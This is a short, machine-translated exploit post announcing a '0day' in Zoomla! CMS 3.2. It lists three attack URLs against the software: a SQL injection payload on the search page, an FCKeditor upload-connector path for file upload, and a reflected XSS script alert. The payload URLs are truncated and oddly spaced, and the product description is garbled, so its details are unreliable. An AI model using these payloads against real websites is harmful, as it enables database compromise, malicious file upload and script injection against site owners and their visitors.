Zoomla! Wave-by-wave CMS3.2 0day

Zoomla! Longlang CMS is a powerful website kernel and management system. It integrates powerful functions such as content management OASNS project management and email subscription collection. It is based on the c # language. net Architecture Development is currently the only high-end CMS in China that supports both MSSQL and Oracle databases synchronously. It is used to quickly build efficient portal websites.

Test method:

1. injection vulnerability:

Http://www.site.com/Search/Searc... = 0 & keyword = 1% 25 () = 0% 20oR % 20% 25 = & type = 1

2. FCKeditor Upload Vulnerability
Http://www.site.com/editor/filem... px % 2Fconnector. aspx

3. XSS script cross-site Vulnerability
Alert (XSS) http://www.site.com/prompt/correct.aspx? T = <Script> alert (XSS) </Script>

Http://www.site.com/Search/Searc... ype = 1 & keyword = 1ay